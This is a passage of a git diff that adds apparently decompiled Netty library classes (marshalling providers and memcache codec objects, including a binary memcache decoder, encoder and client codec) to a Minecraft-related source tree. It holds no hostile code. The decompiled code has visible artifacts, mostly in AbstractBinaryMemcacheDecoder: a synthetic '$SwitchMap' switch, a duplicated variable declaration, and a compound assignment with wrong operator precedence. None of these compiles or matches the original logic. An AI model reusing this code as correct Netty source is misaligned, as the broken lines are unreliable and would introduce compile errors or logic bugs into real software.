+  public Marshaller getMarshaller(ChannelHandlerContext ctx) throws Exception
+  {
+    Marshaller marshaller = (Marshaller)marshallers.get();
+    if (marshaller == null) {
+      marshaller = factory.createMarshaller(config);
+      marshallers.set(marshaller);
+    }
+    return marshaller;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/ThreadLocalUnmarshallerProvider.java b/src/minecraft/io/netty/handler/codec/marshalling/ThreadLocalUnmarshallerProvider.java
new file mode 100644
index 0000000..05e3f29
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/ThreadLocalUnmarshallerProvider.java
@@ -0,0 +1,56 @@
+package io.netty.handler.codec.marshalling;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.concurrent.FastThreadLocal;
+import org.jboss.marshalling.MarshallerFactory;
+import org.jboss.marshalling.MarshallingConfiguration;
+import org.jboss.marshalling.Unmarshaller;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ThreadLocalUnmarshallerProvider
+  implements UnmarshallerProvider
+{
+  private final FastThreadLocal<Unmarshaller> unmarshallers = new FastThreadLocal();
+  
+
+  private final MarshallerFactory factory;
+  
+
+  private final MarshallingConfiguration config;
+  
+
+
+  public ThreadLocalUnmarshallerProvider(MarshallerFactory factory, MarshallingConfiguration config)
+  {
+    this.factory = factory;
+    this.config = config;
+  }
+  
+  public Unmarshaller getUnmarshaller(ChannelHandlerContext ctx) throws Exception
+  {
+    Unmarshaller unmarshaller = (Unmarshaller)unmarshallers.get();
+    if (unmarshaller == null) {
+      unmarshaller = factory.createUnmarshaller(config);
+      unmarshallers.set(unmarshaller);
+    }
+    return unmarshaller;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/UnmarshallerProvider.java b/src/minecraft/io/netty/handler/codec/marshalling/UnmarshallerProvider.java
new file mode 100644
index 0000000..005d076
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/UnmarshallerProvider.java
@@ -0,0 +1,10 @@
+package io.netty.handler.codec.marshalling;
+
+import io.netty.channel.ChannelHandlerContext;
+import org.jboss.marshalling.Unmarshaller;
+
+public abstract interface UnmarshallerProvider
+{
+  public abstract Unmarshaller getUnmarshaller(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/AbstractMemcacheObject.java b/src/minecraft/io/netty/handler/codec/memcache/AbstractMemcacheObject.java
new file mode 100644
index 0000000..0740d61
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/AbstractMemcacheObject.java
@@ -0,0 +1,47 @@
+package io.netty.handler.codec.memcache;
+
+import io.netty.handler.codec.DecoderResult;
+import io.netty.util.AbstractReferenceCounted;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractMemcacheObject
+  extends AbstractReferenceCounted
+  implements MemcacheObject
+{
+  private DecoderResult decoderResult = DecoderResult.SUCCESS;
+  
+
+  protected AbstractMemcacheObject() {}
+  
+
+  public DecoderResult decoderResult()
+  {
+    return decoderResult;
+  }
+  
+  public void setDecoderResult(DecoderResult result)
+  {
+    if (result == null) {
+      throw new NullPointerException("DecoderResult should not be null.");
+    }
+    
+    decoderResult = result;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/AbstractMemcacheObjectAggregator.java b/src/minecraft/io/netty/handler/codec/memcache/AbstractMemcacheObjectAggregator.java
new file mode 100644
index 0000000..ca4d7ee
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/AbstractMemcacheObjectAggregator.java
@@ -0,0 +1,87 @@
+package io.netty.handler.codec.memcache;
+
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.MessageAggregator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractMemcacheObjectAggregator<H extends MemcacheMessage>
+  extends MessageAggregator<MemcacheObject, H, MemcacheContent, FullMemcacheMessage>
+{
+  protected AbstractMemcacheObjectAggregator(int maxContentLength)
+  {
+    super(maxContentLength);
+  }
+  
+  protected boolean isContentMessage(MemcacheObject msg) throws Exception
+  {
+    return msg instanceof MemcacheContent;
+  }
+  
+  protected boolean isLastContentMessage(MemcacheContent msg) throws Exception
+  {
+    return msg instanceof LastMemcacheContent;
+  }
+  
+  protected boolean isAggregated(MemcacheObject msg) throws Exception
+  {
+    return msg instanceof FullMemcacheMessage;
+  }
+  
+  protected boolean isContentLengthInvalid(H start, int maxContentLength)
+  {
+    return false;
+  }
+  
+  protected Object newContinueResponse(H start, int maxContentLength, ChannelPipeline pipeline)
+  {
+    return null;
+  }
+  
+  protected boolean closeAfterContinueResponse(Object msg) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected boolean ignoreContentAfterContinueResponse(Object msg) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/AbstractMemcacheObjectDecoder.java b/src/minecraft/io/netty/handler/codec/memcache/AbstractMemcacheObjectDecoder.java
new file mode 100644
index 0000000..62fe3a5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/AbstractMemcacheObjectDecoder.java
@@ -0,0 +1,9 @@
+package io.netty.handler.codec.memcache;
+
+import io.netty.handler.codec.ByteToMessageDecoder;
+
+public abstract class AbstractMemcacheObjectDecoder
+  extends ByteToMessageDecoder
+{
+  public AbstractMemcacheObjectDecoder() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/AbstractMemcacheObjectEncoder.java b/src/minecraft/io/netty/handler/codec/memcache/AbstractMemcacheObjectEncoder.java
new file mode 100644
index 0000000..5580f28
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/AbstractMemcacheObjectEncoder.java
@@ -0,0 +1,115 @@
+package io.netty.handler.codec.memcache;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.FileRegion;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import io.netty.util.internal.StringUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractMemcacheObjectEncoder<M extends MemcacheMessage>
+  extends MessageToMessageEncoder<Object>
+{
+  private boolean expectingMoreContent;
+  
+  public AbstractMemcacheObjectEncoder() {}
+  
+  protected void encode(ChannelHandlerContext ctx, Object msg, List<Object> out)
+    throws Exception
+  {
+    if ((msg instanceof MemcacheMessage)) {
+      if (expectingMoreContent) {
+        throw new IllegalStateException("unexpected message type: " + StringUtil.simpleClassName(msg));
+      }
+      
+
+      M m = (MemcacheMessage)msg;
+      out.add(encodeMessage(ctx, m));
+    }
+    
+    if (((msg instanceof MemcacheContent)) || ((msg instanceof ByteBuf)) || ((msg instanceof FileRegion))) {
+      int contentLength = contentLength(msg);
+      if (contentLength > 0) {
+        out.add(encodeAndRetain(msg));
+      } else {
+        out.add(Unpooled.EMPTY_BUFFER);
+      }
+      
+      expectingMoreContent = (!(msg instanceof LastMemcacheContent));
+    }
+  }
+  
+  public boolean acceptOutboundMessage(Object msg) throws Exception
+  {
+    return ((msg instanceof MemcacheObject)) || ((msg instanceof ByteBuf)) || ((msg instanceof FileRegion));
+  }
+  
+
+
+
+
+
+
+  protected abstract ByteBuf encodeMessage(ChannelHandlerContext paramChannelHandlerContext, M paramM);
+  
+
+
+
+
+
+
+  private static int contentLength(Object msg)
+  {
+    if ((msg instanceof MemcacheContent)) {
+      return ((MemcacheContent)msg).content().readableBytes();
+    }
+    if ((msg instanceof ByteBuf)) {
+      return ((ByteBuf)msg).readableBytes();
+    }
+    if ((msg instanceof FileRegion)) {
+      return (int)((FileRegion)msg).count();
+    }
+    throw new IllegalStateException("unexpected message type: " + StringUtil.simpleClassName(msg));
+  }
+  
+
+
+
+
+
+  private static Object encodeAndRetain(Object msg)
+  {
+    if ((msg instanceof ByteBuf)) {
+      return ((ByteBuf)msg).retain();
+    }
+    if ((msg instanceof MemcacheContent)) {
+      return ((MemcacheContent)msg).content().retain();
+    }
+    if ((msg instanceof FileRegion)) {
+      return ((FileRegion)msg).retain();
+    }
+    throw new IllegalStateException("unexpected message type: " + StringUtil.simpleClassName(msg));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/DefaultLastMemcacheContent.java b/src/minecraft/io/netty/handler/codec/memcache/DefaultLastMemcacheContent.java
new file mode 100644
index 0000000..2ded810
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/DefaultLastMemcacheContent.java
@@ -0,0 +1,80 @@
+package io.netty.handler.codec.memcache;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultLastMemcacheContent
+  extends DefaultMemcacheContent
+  implements LastMemcacheContent
+{
+  public DefaultLastMemcacheContent()
+  {
+    super(Unpooled.buffer());
+  }
+  
+  public DefaultLastMemcacheContent(ByteBuf content) {
+    super(content);
+  }
+  
+  public LastMemcacheContent retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public LastMemcacheContent retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public LastMemcacheContent touch()
+  {
+    super.touch();
+    return this;
+  }
+  
+  public LastMemcacheContent touch(Object hint)
+  {
+    super.touch(hint);
+    return this;
+  }
+  
+  public LastMemcacheContent copy()
+  {
+    return replace(content().copy());
+  }
+  
+  public LastMemcacheContent duplicate()
+  {
+    return replace(content().duplicate());
+  }
+  
+  public LastMemcacheContent retainedDuplicate()
+  {
+    return replace(content().retainedDuplicate());
+  }
+  
+  public LastMemcacheContent replace(ByteBuf content)
+  {
+    return new DefaultLastMemcacheContent(content);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/DefaultMemcacheContent.java b/src/minecraft/io/netty/handler/codec/memcache/DefaultMemcacheContent.java
new file mode 100644
index 0000000..05d1b28
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/DefaultMemcacheContent.java
@@ -0,0 +1,98 @@
+package io.netty.handler.codec.memcache;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultMemcacheContent
+  extends AbstractMemcacheObject
+  implements MemcacheContent
+{
+  private final ByteBuf content;
+  
+  public DefaultMemcacheContent(ByteBuf content)
+  {
+    if (content == null) {
+      throw new NullPointerException("Content cannot be null.");
+    }
+    this.content = content;
+  }
+  
+  public ByteBuf content()
+  {
+    return content;
+  }
+  
+  public MemcacheContent copy()
+  {
+    return replace(content.copy());
+  }
+  
+  public MemcacheContent duplicate()
+  {
+    return replace(content.duplicate());
+  }
+  
+  public MemcacheContent retainedDuplicate()
+  {
+    return replace(content.retainedDuplicate());
+  }
+  
+  public MemcacheContent replace(ByteBuf content)
+  {
+    return new DefaultMemcacheContent(content);
+  }
+  
+  public MemcacheContent retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public MemcacheContent retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public MemcacheContent touch()
+  {
+    super.touch();
+    return this;
+  }
+  
+  public MemcacheContent touch(Object hint)
+  {
+    content.touch(hint);
+    return this;
+  }
+  
+  protected void deallocate()
+  {
+    content.release();
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + "(data: " + content() + ", decoderResult: " + decoderResult() + ')';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/FullMemcacheMessage.java b/src/minecraft/io/netty/handler/codec/memcache/FullMemcacheMessage.java
new file mode 100644
index 0000000..3d1e6d3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/FullMemcacheMessage.java
@@ -0,0 +1,23 @@
+package io.netty.handler.codec.memcache;
+
+import io.netty.buffer.ByteBuf;
+
+public abstract interface FullMemcacheMessage
+  extends MemcacheMessage, LastMemcacheContent
+{
+  public abstract FullMemcacheMessage copy();
+  
+  public abstract FullMemcacheMessage duplicate();
+  
+  public abstract FullMemcacheMessage retainedDuplicate();
+  
+  public abstract FullMemcacheMessage replace(ByteBuf paramByteBuf);
+  
+  public abstract FullMemcacheMessage retain(int paramInt);
+  
+  public abstract FullMemcacheMessage retain();
+  
+  public abstract FullMemcacheMessage touch();
+  
+  public abstract FullMemcacheMessage touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/LastMemcacheContent.java b/src/minecraft/io/netty/handler/codec/memcache/LastMemcacheContent.java
new file mode 100644
index 0000000..2b9f218
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/LastMemcacheContent.java
@@ -0,0 +1,121 @@
+package io.netty.handler.codec.memcache;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.DecoderResult;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface LastMemcacheContent
+  extends MemcacheContent
+{
+  public static final LastMemcacheContent EMPTY_LAST_CONTENT = new LastMemcacheContent()
+  {
+    public LastMemcacheContent copy()
+    {
+      return EMPTY_LAST_CONTENT;
+    }
+    
+    public LastMemcacheContent duplicate()
+    {
+      return this;
+    }
+    
+    public LastMemcacheContent retainedDuplicate()
+    {
+      return this;
+    }
+    
+    public LastMemcacheContent replace(ByteBuf content)
+    {
+      return new DefaultLastMemcacheContent(content);
+    }
+    
+    public LastMemcacheContent retain(int increment)
+    {
+      return this;
+    }
+    
+    public LastMemcacheContent retain()
+    {
+      return this;
+    }
+    
+    public LastMemcacheContent touch()
+    {
+      return this;
+    }
+    
+    public LastMemcacheContent touch(Object hint)
+    {
+      return this;
+    }
+    
+    public ByteBuf content()
+    {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+    public DecoderResult decoderResult()
+    {
+      return DecoderResult.SUCCESS;
+    }
+    
+    public void setDecoderResult(DecoderResult result)
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public int refCnt()
+    {
+      return 1;
+    }
+    
+    public boolean release()
+    {
+      return false;
+    }
+    
+    public boolean release(int decrement)
+    {
+      return false;
+    }
+  };
+  
+  public abstract LastMemcacheContent copy();
+  
+  public abstract LastMemcacheContent duplicate();
+  
+  public abstract LastMemcacheContent retainedDuplicate();
+  
+  public abstract LastMemcacheContent replace(ByteBuf paramByteBuf);
+  
+  public abstract LastMemcacheContent retain(int paramInt);
+  
+  public abstract LastMemcacheContent retain();
+  
+  public abstract LastMemcacheContent touch();
+  
+  public abstract LastMemcacheContent touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/MemcacheContent.java b/src/minecraft/io/netty/handler/codec/memcache/MemcacheContent.java
new file mode 100644
index 0000000..e792179
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/MemcacheContent.java
@@ -0,0 +1,24 @@
+package io.netty.handler.codec.memcache;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+
+public abstract interface MemcacheContent
+  extends MemcacheObject, ByteBufHolder
+{
+  public abstract MemcacheContent copy();
+  
+  public abstract MemcacheContent duplicate();
+  
+  public abstract MemcacheContent retainedDuplicate();
+  
+  public abstract MemcacheContent replace(ByteBuf paramByteBuf);
+  
+  public abstract MemcacheContent retain();
+  
+  public abstract MemcacheContent retain(int paramInt);
+  
+  public abstract MemcacheContent touch();
+  
+  public abstract MemcacheContent touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/MemcacheMessage.java b/src/minecraft/io/netty/handler/codec/memcache/MemcacheMessage.java
new file mode 100644
index 0000000..3ce634c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/MemcacheMessage.java
@@ -0,0 +1,15 @@
+package io.netty.handler.codec.memcache;
+
+import io.netty.util.ReferenceCounted;
+
+public abstract interface MemcacheMessage
+  extends MemcacheObject, ReferenceCounted
+{
+  public abstract MemcacheMessage retain();
+  
+  public abstract MemcacheMessage retain(int paramInt);
+  
+  public abstract MemcacheMessage touch();
+  
+  public abstract MemcacheMessage touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/MemcacheObject.java b/src/minecraft/io/netty/handler/codec/memcache/MemcacheObject.java
new file mode 100644
index 0000000..9570eb8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/MemcacheObject.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.memcache;
+
+import io.netty.handler.codec.DecoderResultProvider;
+
+public abstract interface MemcacheObject
+  extends DecoderResultProvider
+{}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/AbstractBinaryMemcacheDecoder.java b/src/minecraft/io/netty/handler/codec/memcache/binary/AbstractBinaryMemcacheDecoder.java
new file mode 100644
index 0000000..e0144b4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/AbstractBinaryMemcacheDecoder.java
@@ -0,0 +1,269 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderResult;
+import io.netty.handler.codec.memcache.AbstractMemcacheObjectDecoder;
+import io.netty.handler.codec.memcache.DefaultLastMemcacheContent;
+import io.netty.handler.codec.memcache.DefaultMemcacheContent;
+import io.netty.handler.codec.memcache.LastMemcacheContent;
+import io.netty.handler.codec.memcache.MemcacheContent;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractBinaryMemcacheDecoder<M extends BinaryMemcacheMessage>
+  extends AbstractMemcacheObjectDecoder
+{
+  public static final int DEFAULT_MAX_CHUNK_SIZE = 8192;
+  private final int chunkSize;
+  private M currentMessage;
+  private int alreadyReadChunkSize;
+  private State state = State.READ_HEADER;
+  
+
+
+  protected AbstractBinaryMemcacheDecoder()
+  {
+    this(8192);
+  }
+  
+
+
+
+
+  protected AbstractBinaryMemcacheDecoder(int chunkSize)
+  {
+    if (chunkSize < 0) {
+      throw new IllegalArgumentException("chunkSize must be a positive integer: " + chunkSize);
+    }
+    
+    this.chunkSize = chunkSize;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$memcache$binary$AbstractBinaryMemcacheDecoder$State[state.ordinal()]) {
+    case 1:  try {
+        if (in.readableBytes() < 24) {
+          return;
+        }
+        resetDecoder();
+        
+        currentMessage = decodeHeader(in);
+        state = State.READ_EXTRAS;
+      } catch (Exception e) {
+        resetDecoder();
+        out.add(invalidMessage(e));
+        return;
+      }
+    case 2:  try {
+        byte extrasLength = currentMessage.extrasLength();
+        if (extrasLength > 0) {
+          if (in.readableBytes() < extrasLength) {
+            return;
+          }
+          
+          currentMessage.setExtras(in.readRetainedSlice(extrasLength));
+        }
+        
+        state = State.READ_KEY;
+      } catch (Exception e) {
+        resetDecoder();
+        out.add(invalidMessage(e));
+        return;
+      }
+    case 3:  try {
+        short keyLength = currentMessage.keyLength();
+        if (keyLength > 0) {
+          if (in.readableBytes() < keyLength) {
+            return;
+          }
+          
+          currentMessage.setKey(in.readRetainedSlice(keyLength));
+        }
+        out.add(currentMessage.retain());
+        state = State.READ_CONTENT;
+      } catch (Exception e) {
+        resetDecoder();
+        out.add(invalidMessage(e));
+        return;
+      }
+    case 4:  try {
+        int valueLength = currentMessage.totalBodyLength() - currentMessage.keyLength() - currentMessage.extrasLength();
+        
+
+        int toRead = in.readableBytes();
+        if (valueLength > 0) {
+          if (toRead == 0) {
+            return;
+          }
+          
+          if (toRead > chunkSize) {
+            toRead = chunkSize;
+          }
+          
+          int remainingLength = valueLength - alreadyReadChunkSize;
+          if (toRead > remainingLength) {
+            toRead = remainingLength;
+          }
+          
+          ByteBuf chunkBuffer = in.readRetainedSlice(toRead);
+          MemcacheContent chunk;
+          MemcacheContent chunk;
+          if (this.alreadyReadChunkSize += toRead >= valueLength) {
+            chunk = new DefaultLastMemcacheContent(chunkBuffer);
+          } else {
+            chunk = new DefaultMemcacheContent(chunkBuffer);
+          }
+          
+          out.add(chunk);
+          if (alreadyReadChunkSize < valueLength) {
+            return;
+          }
+        } else {
+          out.add(LastMemcacheContent.EMPTY_LAST_CONTENT);
+        }
+        
+        resetDecoder();
+        state = State.READ_HEADER;
+        return;
+      } catch (Exception e) {
+        resetDecoder();
+        out.add(invalidChunk(e));
+        return;
+      }
+    case 5: 
+      in.skipBytes(actualReadableBytes());
+      return;
+    }
+    throw new Error("Unknown state reached: " + state);
+  }
+  
+
+
+
+
+
+
+  private M invalidMessage(Exception cause)
+  {
+    state = State.BAD_MESSAGE;
+    M message = buildInvalidMessage();
+    message.setDecoderResult(DecoderResult.failure(cause));
+    return message;
+  }
+  
+
+
+
+
+
+  private MemcacheContent invalidChunk(Exception cause)
+  {
+    state = State.BAD_MESSAGE;
+    MemcacheContent chunk = new DefaultLastMemcacheContent(Unpooled.EMPTY_BUFFER);
+    chunk.setDecoderResult(DecoderResult.failure(cause));
+    return chunk;
+  }
+  
+
+
+
+
+
+  public void channelInactive(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    super.channelInactive(ctx);
+    
+    resetDecoder();
+  }
+  
+
+
+  protected void resetDecoder()
+  {
+    if (currentMessage != null) {
+      currentMessage.release();
+      currentMessage = null;
+    }
+    alreadyReadChunkSize = 0;
+  }
+  
+
+
+
+
+
+
+
+  protected abstract M decodeHeader(ByteBuf paramByteBuf);
+  
+
+
+
+
+
+
+
+  protected abstract M buildInvalidMessage();
+  
+
+
+
+
+
+
+  static enum State
+  {
+    READ_HEADER, 
+    
+
+
+
+    READ_EXTRAS, 
+    
+
+
+
+    READ_KEY, 
+    
+
+
+
+    READ_CONTENT, 
+    
+
+
+
+    BAD_MESSAGE;
+    
+    private State() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/AbstractBinaryMemcacheEncoder.java b/src/minecraft/io/netty/handler/codec/memcache/binary/AbstractBinaryMemcacheEncoder.java
new file mode 100644
index 0000000..cd4de26
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/AbstractBinaryMemcacheEncoder.java
@@ -0,0 +1,77 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.memcache.AbstractMemcacheObjectEncoder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractBinaryMemcacheEncoder<M extends BinaryMemcacheMessage>
+  extends AbstractMemcacheObjectEncoder<M>
+{
+  private static final int MINIMUM_HEADER_SIZE = 24;
+  
+  public AbstractBinaryMemcacheEncoder() {}
+  
+  protected ByteBuf encodeMessage(ChannelHandlerContext ctx, M msg)
+  {
+    ByteBuf buf = ctx.alloc().buffer(24 + msg.extrasLength() + msg.keyLength());
+    
+
+    encodeHeader(buf, msg);
+    encodeExtras(buf, msg.extras());
+    encodeKey(buf, msg.key());
+    
+    return buf;
+  }
+  
+
+
+
+
+
+  private static void encodeExtras(ByteBuf buf, ByteBuf extras)
+  {
+    if ((extras == null) || (!extras.isReadable())) {
+      return;
+    }
+    
+    buf.writeBytes(extras);
+  }
+  
+
+
+
+
+
+  private static void encodeKey(ByteBuf buf, ByteBuf key)
+  {
+    if ((key == null) || (!key.isReadable())) {
+      return;
+    }
+    
+    buf.writeBytes(key);
+  }
+  
+  protected abstract void encodeHeader(ByteBuf paramByteBuf, M paramM);
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/AbstractBinaryMemcacheMessage.java b/src/minecraft/io/netty/handler/codec/memcache/binary/AbstractBinaryMemcacheMessage.java
new file mode 100644
index 0000000..f895608
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/AbstractBinaryMemcacheMessage.java
@@ -0,0 +1,235 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.memcache.AbstractMemcacheObject;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractBinaryMemcacheMessage
+  extends AbstractMemcacheObject
+  implements BinaryMemcacheMessage
+{
+  private ByteBuf key;
+  private ByteBuf extras;
+  private byte magic;
+  private byte opcode;
+  private short keyLength;
+  private byte extrasLength;
+  private byte dataType;
+  private int totalBodyLength;
+  private int opaque;
+  private long cas;
+  
+  protected AbstractBinaryMemcacheMessage(ByteBuf key, ByteBuf extras)
+  {
+    this.key = key;
+    keyLength = (key == null ? 0 : (short)key.readableBytes());
+    this.extras = extras;
+    extrasLength = (extras == null ? 0 : (byte)extras.readableBytes());
+    totalBodyLength = (keyLength + extrasLength);
+  }
+  
+  public ByteBuf key()
+  {
+    return key;
+  }
+  
+  public ByteBuf extras()
+  {
+    return extras;
+  }
+  
+  public BinaryMemcacheMessage setKey(ByteBuf key)
+  {
+    if (this.key != null) {
+      this.key.release();
+    }
+    this.key = key;
+    short oldKeyLength = keyLength;
+    keyLength = (key == null ? 0 : (short)key.readableBytes());
+    totalBodyLength = (totalBodyLength + keyLength - oldKeyLength);
+    return this;
+  }
+  
+  public BinaryMemcacheMessage setExtras(ByteBuf extras)
+  {
+    if (this.extras != null) {
+      this.extras.release();
+    }
+    this.extras = extras;
+    short oldExtrasLength = (short)extrasLength;
+    extrasLength = (extras == null ? 0 : (byte)extras.readableBytes());
+    totalBodyLength = (totalBodyLength + extrasLength - oldExtrasLength);
+    return this;
+  }
+  
+  public byte magic()
+  {
+    return magic;
+  }
+  
+  public BinaryMemcacheMessage setMagic(byte magic)
+  {
+    this.magic = magic;
+    return this;
+  }
+  
+  public long cas()
+  {
+    return cas;
+  }
+  
+  public BinaryMemcacheMessage setCas(long cas)
+  {
+    this.cas = cas;
+    return this;
+  }
+  
+  public int opaque()
+  {
+    return opaque;
+  }
+  
+  public BinaryMemcacheMessage setOpaque(int opaque)
+  {
+    this.opaque = opaque;
+    return this;
+  }
+  
+  public int totalBodyLength()
+  {
+    return totalBodyLength;
+  }
+  
+  public BinaryMemcacheMessage setTotalBodyLength(int totalBodyLength)
+  {
+    this.totalBodyLength = totalBodyLength;
+    return this;
+  }
+  
+  public byte dataType()
+  {
+    return dataType;
+  }
+  
+  public BinaryMemcacheMessage setDataType(byte dataType)
+  {
+    this.dataType = dataType;
+    return this;
+  }
+  
+  public byte extrasLength()
+  {
+    return extrasLength;
+  }
+  
+
+
+
+
+
+
+  BinaryMemcacheMessage setExtrasLength(byte extrasLength)
+  {
+    this.extrasLength = extrasLength;
+    return this;
+  }
+  
+  public short keyLength()
+  {
+    return keyLength;
+  }
+  
+
+
+
+
+
+
+  BinaryMemcacheMessage setKeyLength(short keyLength)
+  {
+    this.keyLength = keyLength;
+    return this;
+  }
+  
+  public byte opcode()
+  {
+    return opcode;
+  }
+  
+  public BinaryMemcacheMessage setOpcode(byte opcode)
+  {
+    this.opcode = opcode;
+    return this;
+  }
+  
+  public BinaryMemcacheMessage retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public BinaryMemcacheMessage retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  protected void deallocate()
+  {
+    if (key != null) {
+      key.release();
+    }
+    if (extras != null) {
+      extras.release();
+    }
+  }
+  
+  public BinaryMemcacheMessage touch()
+  {
+    super.touch();
+    return this;
+  }
+  
+  public BinaryMemcacheMessage touch(Object hint)
+  {
+    if (key != null) {
+      key.touch(hint);
+    }
+    if (extras != null) {
+      extras.touch(hint);
+    }
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheClientCodec.java b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheClientCodec.java
new file mode 100644
index 0000000..7d7a553
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheClientCodec.java
@@ -0,0 +1,119 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.CombinedChannelDuplexHandler;
+import io.netty.handler.codec.PrematureChannelClosureException;
+import io.netty.handler.codec.memcache.LastMemcacheContent;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicLong;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class BinaryMemcacheClientCodec
+  extends CombinedChannelDuplexHandler<BinaryMemcacheResponseDecoder, BinaryMemcacheRequestEncoder>
+{
+  private final boolean failOnMissingResponse;
+  private final AtomicLong requestResponseCounter = new AtomicLong();
+  
+
+
+  public BinaryMemcacheClientCodec()
+  {
+    this(8192);
+  }
+  
+
+
+
+
+  public BinaryMemcacheClientCodec(int decodeChunkSize)
+  {
+    this(decodeChunkSize, false);
+  }
+  
+
+
+
+
+
+  public BinaryMemcacheClientCodec(int decodeChunkSize, boolean failOnMissingResponse)
+  {
+    this.failOnMissingResponse = failOnMissingResponse;
+    init(new Decoder(decodeChunkSize), new Encoder(null));
+  }
+  
+  private final class Encoder extends BinaryMemcacheRequestEncoder {
+    private Encoder() {}
+    
